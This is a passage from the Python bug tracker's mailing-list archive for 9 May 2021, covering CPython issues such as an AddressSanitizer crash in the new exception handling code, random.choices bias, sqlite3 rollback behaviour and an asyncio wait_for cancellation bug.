Python/ceval.c:5160 #140 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #141 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #142 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #143 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #144 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #145 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #146 0x55e7e3cd4384 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #147 0x55e7e3cd4384 in PyObject_Vectorcall Include/cpython/abstract.h:123 #148 0x55e7e3cd4384 in call_function Python/ceval.c:5976 #149 0x55e7e3cd4384 in _PyEval_EvalFrameDefault Python/ceval.c:4204 #150 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #151 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #152 0x55e7e3cd4384 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #153 0x55e7e3cd4384 in PyObject_Vectorcall Include/cpython/abstract.h:123 #154 0x55e7e3cd4384 in call_function Python/ceval.c:5976 #155 0x55e7e3cd4384 in _PyEval_EvalFrameDefault Python/ceval.c:4204 #156 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #157 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #158 0x55e7e4150719 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #159 0x55e7e4150719 in method_vectorcall Objects/classobject.c:53 #160 0x55e7e3d1a663 in PyVectorcall_Call Objects/call.c:267 #161 0x55e7e3cd15f4 in do_call_core Python/ceval.c:6028 #162 0x55e7e3cd15f4 in _PyEval_EvalFrameDefault Python/ceval.c:4283 #163 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #164 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #165 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #166 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #167 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #168 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #169 0x55e7e3ed09ea in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #170 0x55e7e3ed09ea in _PyEval_Vector Python/ceval.c:5160 #171 0x55e7e3ed09ea in PyEval_EvalCode Python/ceval.c:1136 #172 0x55e7e420b908 in builtin_exec_impl Python/bltinmodule.c:1065 #173 0x55e7e420b908 in builtin_exec Python/clinic/bltinmodule.c.h:371 #174 0x55e7e4196590 in cfunction_vectorcall_FASTCALL Objects/methodobject.c:426 #175 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #176 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #177 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #178 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #179 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #180 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #181 0x55e7e3ce0934 in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #182 0x55e7e3ce0934 in PyObject_Vectorcall Include/cpython/abstract.h:123 #183 0x55e7e3ce0934 in call_function Python/ceval.c:5976 #184 0x55e7e3ce0934 in _PyEval_EvalFrameDefault Python/ceval.c:4219 #185 0x55e7e3ed10d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #186 0x55e7e3ed10d7 in _PyEval_Vector Python/ceval.c:5160 #187 0x55e7e3d1a592 in PyVectorcall_Call Objects/call.c:255 #188 0x55e7e3ceddf2 in pymain_run_module Modules/main.c:293 #189 0x55e7e3cef08b in pymain_run_python Modules/main.c:581 #190 0x55e7e3cf10c4 in Py_RunMain Modules/main.c:666 #191 0x55e7e3cf10c4 in pymain_main Modules/main.c:696 #192 0x55e7e3cf10c4 in Py_BytesMain Modules/main.c:720 #193 0x7f9d8dd5ab24 in __libc_start_main (/usr/lib/libc.so.6+0x27b24) #194 0x55e7e3ced49d in _start (/buildbot/buildarea/3.x.pablogsal-arch-x86_64.asan/build/python+0x17649d) 0x604000011cbd is located 0 bytes to the right of 45-byte region [0x604000011c90,0x604000011cbd) allocated by thread T0 here: #0 0x7f9d8e124459 in __interceptor_malloc /build/gcc/src/gcc/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x55e7e3cf7770 in _PyBytes_FromSize Objects/bytesobject.c:126 #2 0x55e7e3cf7770 in PyBytes_FromStringAndSize Objects/bytesobject.c:159 #3 0x55e7e3f686f1 in r_object Python/marshal.c:1066 #4 0x55e7e3f6960d in r_object Python/marshal.c:1375 #5 0x55e7e3f67ee0 in r_object Python/marshal.c:1171 #6 0x55e7e3f694c3 in r_object Python/marshal.c:1348 #7 0x55e7e3f6efca in PyMarshal_ReadObjectFromString Python/marshal.c:1562 #8 0x55e7e3f48b1d in PyImport_ImportFrozenModuleObject Python/import.c:1140 #9 0x55e7e3f490cc in PyImport_ImportFrozenModule Python/import.c:1194 #10 0x55e7e3f7e1e6 in init_importlib Python/pylifecycle.c:141 #11 0x55e7e3f7e1e6 in pycore_interp_init Python/pylifecycle.c:811 #12 0x55e7e3f84536 in pyinit_config Python/pylifecycle.c:840 #13 0x55e7e3f84536 in pyinit_core Python/pylifecycle.c:1003 #14 0x55e7e3f855fc in Py_InitializeFromConfig Python/pylifecycle.c:1188 #15 0x55e7e3ced749 in pymain_init Modules/main.c:66 #16 0x55e7e3cf107a in pymain_main Modules/main.c:687 #17 0x55e7e3cf107a in Py_BytesMain Modules/main.c:720 #18 0x7f9d8dd5ab24 in __libc_start_main (/usr/lib/libc.so.6+0x27b24) SUMMARY: AddressSanitizer: heap-buffer-overflow Python/ceval.c:4798 in skip_to_next_entry Shadow bytes around the buggy address: 0x0c087fffa340: fa fa 00 00 00 00 00 03 fa fa 00 00 00 00 00 00 0x0c087fffa350: fa fa 00 00 00 00 03 fa fa fa 00 00 00 00 00 03 0x0c087fffa360: fa fa 00 00 00 00 03 fa fa fa 00 00 00 00 00 05 0x0c087fffa370: fa fa 00 00 00 00 03 fa fa fa fd fd fd fd fd fd 0x0c087fffa380: fa fa 00 00 00 00 00 03 fa fa 00 00 00 00 00 05 =>0x0c087fffa390: fa fa 00 00 00 00 00[05]fa fa 00 00 00 00 00 01 0x0c087fffa3a0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 0x0c087fffa3b0: fa fa 00 00 00 00 00 01 fa fa 00 00 00 00 07 fa 0x0c087fffa3c0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 07 fa 0x0c087fffa3d0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 0x0c087fffa3e0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==28597==ABORTING make: *** [Makefile:1249: buildbottest] Error 1 ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 11:02:20 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 09 May 2021 15:02:20 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620572540.37.0.671956640219.issue40222@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 11:04:26 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 09 May 2021 15:04:26 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620572666.78.0.358993738673.issue40222@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: To reproduce with a modern gcc: % export ASAN_OPTIONS=detect_leaks=0:allocator_may_return_null=1:handle_segv=0 % ./configure --with-address-sanitizer --without-pymalloc % make -j -s % ./python -m test test_statistics ================================================================= ==51490==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000113fd at pc 0x564ec89e0edc bp 0x7ffcffffba70 sp 0x7ffcffffba60 READ of size 1 at 0x6040000113fd thread T0 #0 0x564ec89e0edb in skip_to_next_entry Python/ceval.c:4798 #1 0x564ec89e0edb in get_exception_handler Python/ceval.c:4866 #2 0x564ec89e0edb in _PyEval_EvalFrameDefault Python/ceval.c:4465 #3 0x564ec8be30d7 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #4 0x564ec8be30d7 in _PyEval_Vector Python/ceval.c:5160 #5 0x564ec8a2b22e in _PyObject_VectorcallTstate Include/cpython/abstract.h:114 #6 0x564ec8a2b22e in object_vacall Objects/call.c:734 #7 0x564ec8a30c50 in _PyObject_CallMethodIdObjArgs Objects/call.c:825 #8 0x564ec8c5bdd7 in import_find_and_load Python/import.c:1499 #9 0x564ec8c5bdd7 in PyImport_ImportModuleLevelObject Python/import.c:1600 #10 0x564ec89ea39b in import_name Python/ceval.c:6101 #11 0x564ec89ea39b in _PyEval_EvalFrameDefault Python/ceval.c:3693 #12 0x564ec8be29ea in _PyEval_EvalFrame Include/internal/pycore_ceval.h:46 #13 0x564ec8be29ea in _PyEval_Vector Python/ceval.c:5160 #14 0x564ec8be29ea in PyEval_EvalCode Python/ceval.c:1136 .... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 11:57:56 2021 From: report at bugs.python.org (Ben Darnell) Date: Sun, 09 May 2021 15:57:56 +0000 Subject: [issue32958] socket module calls with long host names can fail with idna codec error In-Reply-To: <1519674755.43.0.467229070634.issue32958@psf.upfronthosting.co.za> Message-ID: <1620575876.46.0.922018321913.issue32958@roundup.psfhosted.org> Ben Darnell added the comment: [I'm coming here from https://github.com/tornadoweb/tornado/pull/3010) UnicodeError is a subclass of ValueError, so I don't see what value that change would provide. The thing that's surprising to me is that it's not a `socket.herror` (or `gaierror` for socket.getaddrinfo). I guess the docs don't formally say that `herror`/`gaierror` is the *only* possible error from these functions, but `gaierror` was the only error I was catching so the unexpected UnicodeError escaped the layer that was intended to handle it. I do think that in the special case of `getaddrinfo` with the `AI_NUMERICHOST` flag it should be handled differently: in that mode there is no network access necessary and it's reasonable to assume that the only possible error is a `gaierror` with `EAI_NONAME`. I'd like to at least see better documentation about what errors are possible from this family of functions. ---------- nosy: +Ben.Darnell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 12:37:50 2021 From: report at bugs.python.org (Ammar Askar) Date: Sun, 09 May 2021 16:37:50 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620578270.38.0.519307297669.issue40222@roundup.psfhosted.org> Ammar Askar added the comment: Seconded, also seeing the same ASAN failure on the fuzzers with a blame for this commit. ---------- nosy: +ammar2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 12:56:43 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Sun, 09 May 2021 16:56:43 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620579403.62.0.832553614682.issue44076@roundup.psfhosted.org> Andrei Kulakov added the comment: Hi Mohamed, you can try changing the following line: itemXid = assetinfo_lst[xrec][1] to: print('xrec',xrec) itemXid = assetinfo_lst[xrec] itemXid = itemXid[1] This will show you if the index error is caused by xrec or by [1] lookup. If caused by xrec lookup, you will see what xrec value is at this point. ---------- nosy: +andrei.avk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 13:02:11 2021 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Sun, 09 May 2021 17:02:11 +0000 Subject: [issue44090] Add class binding to unbound super objects for allowing autosuper with class methods Message-ID: <1620579731.61.0.112222809206.issue44090@roundup.psfhosted.org> New submission from G?ry : A use case of one-argument `super` (aka unbound `super`) is Guido van Rossum?s autosuper described in his 2002 article [*Unifying types and classes in Python 2.2*](https://www.python.org/download/releases/2.2.3/descrintro/#cooperation). It works with functions, but not with `classmethod` as Michele Simionato noted in his 2008 article [*Things to Know About Python Super*](https://www.artima.com/weblogs/viewpost.jsp?thread=236278). I suggest fixing this by updating the method `super.__get__` to bind an unbound `super` object to the argument `owner` when there is no argument `instance` to bind to. Here is the patch applied to the C function [super_descr_get](https://github.com/python/cpython/blob/v3.9.5/Objects/typeobject.c#L8029-L8061) in Objects/typeobject.c, given in pure Python for better readability: ```python def __get__(self, instance, owner=None): if instance is None and owner is None: raise TypeError('__get__(None, None) is invalid') - if instance is None or self.__self__ is not None: + if self.__self__ is not None: return self + if instance is None: + return type(self)(self.__thisclass__, owner) return type(self)(self.__thisclass__, instance) ``` Demonstration: ```python >>> class A: ... def f(self): return 'A.f' ... @classmethod ... def g(cls): return 'A.g' ... >>> class B(A): ... def f(self): return 'B.f ' + self.__super.f() ... @classmethod ... def g(cls): return 'B.g ' + cls.__super.g() ... >>> B._B__super = super(B) # the CURRENT broken version of super >>> print(B().f()) # function succeeds (instance binding) B.f A.f >>> print(B.g()) # classmethod fails (no binding) Traceback (most recent call last): File "", line 1, in File "", line 4, in g AttributeError: 'super' object has no attribute 'g' >>> B._B__super = super(B) # the PROPOSED fixed version of super >>> print(B().f()) # function succeeds (instance binding) B.f A.f >>> print(B.g()) # classmethod succeeds (class binding) B.g A.g ``` ---------- components: Interpreter Core messages: 393326 nosy: maggyero priority: normal severity: normal status: open title: Add class binding to unbound super objects for allowing autosuper with class methods type: enhancement versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 13:05:28 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 09 May 2021 17:05:28 +0000 Subject: [issue43853] [sqlite3] Improve sqlite3_value_text() error handling In-Reply-To: <1618480809.83.0.17163581819.issue43853@roundup.psfhosted.org> Message-ID: <1620579928.77.0.49659477768.issue43853@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- title: [sqlite3] Fix sqlite3_value_text() usage -> [sqlite3] Improve sqlite3_value_text() error handling _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 13:05:51 2021 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Sun, 09 May 2021 17:05:51 +0000 Subject: [issue44090] Add class binding to unbound super objects for allowing autosuper with class methods In-Reply-To: <1620579731.61.0.112222809206.issue44090@roundup.psfhosted.org> Message-ID: <1620579951.03.0.738837424711.issue44090@roundup.psfhosted.org> Change by G?ry : ---------- keywords: +patch pull_requests: +24660 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26009 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 13:06:46 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Sun, 09 May 2021 17:06:46 +0000 Subject: [issue44080] Bias in random.choices(long_sequence) In-Reply-To: <1620508238.0.0.37893713444.issue44080@roundup.psfhosted.org> Message-ID: <1620580006.21.0.775182590624.issue44080@roundup.psfhosted.org> Dennis Sweeney added the comment: Your suspicion looks correct, random() is faster: .\python.bat -m pyperf timeit -s "from random import choices" "choices(range(100), k=10_000)" Before int_choices.diff: Mean +- std dev: 1.49 ms +- 0.09 ms After int_choices.diff: Mean +- std dev: 3.50 ms +- 0.33 ms ---------- keywords: +patch Added file: https://bugs.python.org/file50028/int_choices.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 13:15:30 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 09 May 2021 17:15:30 +0000 Subject: [issue44091] traceback & inspect modules should verify that the .py source file matches the one that the running process is using Message-ID: <1620580530.62.0.599288030317.issue44091@roundup.psfhosted.org> New submission from Gregory P. Smith : A long-standing wart in Python is that once a module is loaded, when rendering a traceback and including source lines, we do not verify if the source file we're loading is the same as the one representing the code we are running. It could have been replaced. As is normal during software upgrades. If our code was loaded from .py source, we should be recording the timestamp/size||hash of the source file and referencing that from each code object. If our code was loaded from a .pyc source, the .pyc already contains a timestamp/size||hash for the corresponding .py source file that could be referenced. When traceback.StackSummary and FrameSummary use the linecache module, we should plumb this source metainfo in from the relevant code object. A traceback being rendered with potentially modified source code could choose to omit the source lines, or at least annotate them with a " ## this source {timestamp/size||hash} does not match the running code {timestamp/size||hash}." marker so that anyone seeing the traceback knows the displayed line may not be trustworthy. (If the pyc was written using the "unchecked-hash" mode, no source/pyc synchronization check should be made) The inspect module also needs the ability to do indicate this to the caller. ---------- components: Library (Lib) messages: 393328 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: traceback & inspect modules should verify that the .py source file matches the one that the running process is using type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 13:58:19 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 09 May 2021 17:58:19 +0000 Subject: [issue44080] Bias in random.choices(long_sequence) In-Reply-To: <1620508238.0.0.37893713444.issue44080@roundup.psfhosted.org> Message-ID: <1620583099.08.0.799725604152.issue44080@roundup.psfhosted.org> Raymond Hettinger added the comment: This is known and an intentional design decision. It isn't just a speed issue. Because the weights can be floats, we have floats involved at the outset and some round-off is unavoidable. To keep the method internally consistent, the same technique is used even when the weights aren't specified: >>> from random import choices, seed >>> seed(8675309**3) >>> s = choices('abcdefg', k=20) >>> seed(8675309**3) >>> t = choices('abcdefg', [0.7] * 7, k=20) >>> s == t True FWIW, this is documented: """ For a given seed, the choices() function with equal weighting typically produces a different sequence than repeated calls to choice(). The algorithm used by choices() uses floating point arithmetic for internal consistency and speed. The algorithm used by choice() defaults to integer arithmetic with repeated selections to avoid small biases from round-off error. """ ---------- assignee: -> rhettinger resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 14:05:19 2021 From: report at bugs.python.org (Dominic Davis-Foster) Date: Sun, 09 May 2021 18:05:19 +0000 Subject: [issue44084] Can't mark match, case, _ as keywords in docs In-Reply-To: <1620542980.52.0.707303221458.issue44084@roundup.psfhosted.org> Message-ID: <1620583519.23.0.917808073566.issue44084@roundup.psfhosted.org> Dominic Davis-Foster added the comment: I'm not sure this is a Pygments or Sphinx bug. The documentation for the :keyword: role[1] says: This creates a link to a reference label with that name, if it exists. Looking at the documentation source for "Compound statements"[2] each section for a particular keyword is preceded by a reference label for the relevant keyword(s). So for "match" and "case" all that's needed is to put the label before the section of the docs talking about them. In fact, it seems that "match" does have a label[3], and I can link to it successfully; it's just "case" and "_" that don't work "_" is more tricky, as you can't have a reference label called that. However, if you pick another name for the label (say, "underscore") you can use that as the target name and still have "_" as the text like so: :keyword:`_ ` [1] https://www.sphinx-doc.org/en/master/usage/restructuredtext/roles.html#role-keyword [2] https://raw.githubusercontent.com/python/cpython/main/Doc/reference/compound_stmts.rst [3] https://github.com/python/cpython/blame/main/Doc/reference/compound_stmts.rst#L514 ---------- nosy: +dom1310df _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 14:19:22 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 09 May 2021 18:19:22 +0000 Subject: [issue41930] Wrap sqlite3_serialize API in sqlite3 module In-Reply-To: <1601813111.02.0.183059099502.issue41930@roundup.psfhosted.org> Message-ID: <1620584362.48.0.988166736148.issue41930@roundup.psfhosted.org> Erlend E. Aasland added the comment: FYI, this was just checked into the SQLite fossil repo: $ fossil update trunk updated-to: 6df3b03e00b1143be8fed3a39a58ce8106302027 2021-05-08 17:18:23 UTC tags: trunk comment: Enable the sqlite3_serialize() and sqlite3_deserialize() interfaces by default. Omit the SQLITE_ENABLE_DESERIALIZE option and replace it with the SQLITE_OMIT_DESERIALIZE option. (user: drh) Ref. the SQLite docs: https://www.sqlite.org/compile.html#enable_deserialize "Future releases of SQLite might enable those interfaces by default and instead offer an SQLITE_OMIT_DESERIALIZE option to leave them out." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 14:45:29 2021 From: report at bugs.python.org (Tal Einat) Date: Sun, 09 May 2021 18:45:29 +0000 Subject: [issue44084] Can't mark match, case, _ as keywords in docs In-Reply-To: <1620542980.52.0.707303221458.issue44084@roundup.psfhosted.org> Message-ID: <1620585929.31.0.08358552763.issue44084@roundup.psfhosted.org> Tal Einat added the comment: Thanks Dominic, it seems that you're absolutely right! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 14:58:59 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 09 May 2021 18:58:59 +0000 Subject: [issue44080] Bias in random.choices(long_sequence) In-Reply-To: <1620508238.0.0.37893713444.issue44080@roundup.psfhosted.org> Message-ID: <1620586739.88.0.510443305498.issue44080@roundup.psfhosted.org> Raymond Hettinger added the comment: FWIW, the principal use case that choices() was designed for is resampling/bootstapping. In that use case, speed matters and small imbalances in large sequences don't matter at all. Also, the API was designed to make it easy to select from an itemized population of individuals than a large range followed by a modulo calculation (we already have randrange() to meet that need). I could add a sentence to the last paragraph recommending "[choice(pop) for i in range(k)]" for the case where 1) the population is large, 2) the speed doesn't matter, 3) the weights are equal, and 4) integer math is desired to avoid any trace of bias. That said, I don't users would benefit from it and that this is largely just a theoretical concern that doesn't warrant more than the existing paragraph. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 15:06:27 2021 From: report at bugs.python.org (Tal Einat) Date: Sun, 09 May 2021 19:06:27 +0000 Subject: [issue44084] Can't mark match, case, _ as keywords in docs In-Reply-To: <1620542980.52.0.707303221458.issue44084@roundup.psfhosted.org> Message-ID: <1620587187.64.0.536480056459.issue44084@roundup.psfhosted.org> Change by Tal Einat : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 15:15:26 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 09 May 2021 19:15:26 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1620587726.35.0.0717612079988.issue43109@roundup.psfhosted.org> Change by Ned Deily : ---------- assignee: -> ned.deily components: +macOS nosy: +ned.deily, ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 15:16:58 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 09 May 2021 19:16:58 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1620587818.23.0.638647439646.issue43109@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the PR. I am looking at this area currently. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 15:56:15 2021 From: report at bugs.python.org (nmatravolgyi) Date: Sun, 09 May 2021 19:56:15 +0000 Subject: [issue43389] Cancellation ignored by asyncio.wait_for can hang application In-Reply-To: <1614790258.6.0.416802160939.issue43389@roundup.psfhosted.org> Message-ID: <1620590175.01.0.201698548486.issue43389@roundup.psfhosted.org> nmatravolgyi added the comment: Closing as duplicate, because there was already an issue for this bug: https://bugs.python.org/issue42130 ---------- resolution: -> duplicate _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 16:15:37 2021 From: report at bugs.python.org (nmatravolgyi) Date: Sun, 09 May 2021 20:15:37 +0000 Subject: [issue42130] AsyncIO's wait_for can hide cancellation in a rare race condition In-Reply-To: <1603469429.01.0.760360212477.issue42130@roundup.psfhosted.org> Message-ID: <1620591337.56.0.685195718114.issue42130@roundup.psfhosted.org> nmatravolgyi added the comment: I've also found this deficiency of asyncio.wait_for by debugging an obscure hang in an application. Back then I've quickly made an issue about it: https://bugs.python.org/issue43389 I've just closed it as duplicate, since this issue covers the same bug and has been around longer. I'm surprised this issue has not got more attention. This definitely needs a fix. Ignoring a CancellationError is something that is heavily discouraged by the documentation in general. Silently ignoring/eating a cancellation makes this construct unreliable without good workarounds, aside from not using it. For a specific application, this was so broken, that I had to come up with a fix in the short term. I made an asyncio.wait_for variant available as a library that fixes the problem: https://github.com/Traktormaster/wait-for2 The repository has a detailed description of the issue and the way it fixes it. It also has test cases to assert the behaviour of the builtin and the fixed wait_for construct from the library. ---------- nosy: +nmatravolgyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 16:19:02 2021 From: report at bugs.python.org (nmatravolgyi) Date: Sun, 09 May 2021 20:19:02 +0000 Subject: [issue43389] Cancellation ignored by asyncio.wait_for can hang application In-Reply-To: <1614790258.6.0.416802160939.issue43389@roundup.psfhosted.org> Message-ID: <1620591542.73.0.556374283819.issue43389@roundup.psfhosted.org> Change by nmatravolgyi : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 17:14:08 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 09 May 2021 21:14:08 +0000 Subject: [issue43149] Misleading error message for except with missing parens (3.10.a5) In-Reply-To: <1612652048.28.0.775062089825.issue43149@roundup.psfhosted.org> Message-ID: <1620594848.78.0.283147657411.issue43149@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 9a0e65c8e05fdcd2207650d216ebdacdf0a025e9 by Miss Islington (bot) in branch '3.10': bpo-43149: Correct the syntax error message for multiple exception types (GH-25996) GH-25997) https://github.com/python/cpython/commit/9a0e65c8e05fdcd2207650d216ebdacdf0a025e9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 17:36:02 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 09 May 2021 21:36:02 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling Message-ID: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> New submission from Erlend E. Aasland : Ref. bpo-33376 and bpo-10513. Quoting from the SQLite 3.7.11 changelog[1]: "Pending statements no longer block ROLLBACK. Instead, the pending statement will return SQLITE_ABORT upon next access after the ROLLBACK." Quoting from the SQLite 3.8.7.2 changelog[2]: "Enhance the ROLLBACK command so that pending queries are allowed to continue as long as the schema is unchanged. Formerly, a ROLLBACK would cause all pending queries to fail with an SQLITE_ABORT or SQLITE_ABORT_ROLLBACK error. That error is still returned if the ROLLBACK modifies the schema." Quoting from the SQLite docs[3]: "In more recent versions of SQLite, the ROLLBACK will proceed and pending statements will often be aborted, causing them to return an SQLITE_ABORT or SQLITE_ABORT_ROLLBACK error. In SQLite version 3.8.8 (2015-01-16) and later, a pending read will continue functioning after the ROLLBACK as long as the ROLLBACK does not modify the database schema." I've done some tests with SQLite versions 3.35.4 and 3.7.15 where I've removed the call to pysqlite_do_all_statements() (introduced by [4]) in pysqlite_connection_rollback_impl(), and I've also removed the pysqlite_Cursor.reset member and all of the related code. The test suite passes fine (except for, as expected, the two tests that check for InterfaceError in case of fetch across rollback). Do we really need to special case rollbacks anymore? I've tried to come up with tests that prove this approach wrong, but I haven't found any yet. [1] https://sqlite.org/changes.html#version_3_7_11 [2] https://sqlite.org/changes.html#version_3_8_7_2 [3] https://www.sqlite.org/lang_transaction.html [4] https://github.com/ghaering/pysqlite/commit/95f0956d9a78750ac8b5ca54f028b5f8d8db0abb ---------- components: Extension Modules messages: 393338 nosy: berker.peksag, erlendaasland, lemburg, serhiy.storchaka priority: normal severity: normal status: open title: [sqlite3] consider removing special rollback handling versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 17:39:36 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 09 May 2021 21:39:36 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1620596376.94.0.310156319039.issue44092@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch Added file: https://bugs.python.org/file50029/patch.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 17:40:34 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 09 May 2021 21:40:34 +0000 Subject: [issue44092] [sqlite3] consider removing special rollback handling In-Reply-To: <1620596162.31.0.000417990177807.issue44092@roundup.psfhosted.org> Message-ID: <1620596434.05.0.277008577513.issue44092@roundup.psfhosted.org> Erlend E. Aasland added the comment: Attached patch includes the test case from bpo-33376. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 9 18:04:29 2021 From: report at bugs.python.org (Mohamed) Date: Sun, 09 May 2021 22:04:29 +0000 Subject: [issue44076] issue with list in Python 3.8.5 In-Reply-To: <1620479084.41.0.27735680659.issue44076@roundup.psfhosted.org> Message-ID: <1620597869.56.0.426271251915.issue44076@roundup.psfhosted.org> Mohamed added the comment: I made changes but result is same: xrec = self.treedata.selection()[0] xrec = int(xrec[1:], 16) - 1 print('xrec: ', xrec) itemXid = assetinfo_lst[xrec] itemXid = itemXid[1] Exception in Tkinter 